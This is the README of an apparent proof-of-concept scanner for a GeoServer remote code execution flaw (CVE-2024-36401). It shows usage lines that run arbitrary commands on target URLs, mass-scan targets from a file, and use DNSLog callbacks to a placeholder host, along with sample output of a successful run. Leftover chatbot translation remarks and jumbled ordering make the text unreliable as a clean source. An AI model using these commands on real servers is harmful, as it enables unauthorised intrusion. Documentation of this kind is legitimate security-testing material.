
本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。
Here is the English translation of your README file:
⚠️ Disclaimer: This tool is intended solely for security research and legally authorized testing purposes. Do not use it for any illegal or unauthorized activities. The user assumes full responsibility for any legal consequences.
README Version: [English | 中文]
This script is a Proof of Concept (PoC) detection tool for a Remote Code Execution (RCE) vulnerability in GeoServer (CVE-2024-36401). This vulnerability allows attackers to execute arbitrary commands on the target server by sending specially crafted requests.
Ensure the following dependencies are installed in your environment:
requestslxmlYou can install the required dependencies using the following command:
pip install requests lxml
python poc.py -u http://target.com -d dnslog.example.com
Or specify a command to execute:
python poc.py -u http://target.com -c "touch /tmp/vulntest"
Prepare a text file containing multiple target URLs (one per line):
python poc.py -uf targets.txt -d dnslog.example.com
Or specify a command:
python poc.py -uf targets.txt -c "id"
For detailed usage instructions: Detailed User Guide
⚠️ Note: The
-dand-cparameters cannot be used simultaneously.
[INFO] Retrieved 3 valid Typenames, starting vulnerability detection.
[INFO] Target: http://example.com
[INFO] Executing command: whoami
[INFO] DNSLOG address:
[INFO] Trying typeName: topp:states -> whoami
[+] Command appears to have executed successfully! Target: http://example.com Command: whoami
-c parameter./geoserver/wfs interface.Feel free to open Issues or submit Pull Requests to help improve this project.
This project is licensed under the MIT License. You are free to modify, distribute, or use the software commercially, provided that the original copyright notice is retained.
Let me know if you need any formatting adjustments or further translations!
| Parameter | Description |
|---|
-u, --url | Specify a single target URL |
-uf, --url-file | Specify the file path containing multiple target URLs |
-d, --dnslog | Specify the DNSLog address |
-c, --command | Specify the command to execute on the target system (e.g., whoami, id, curl, etc.) |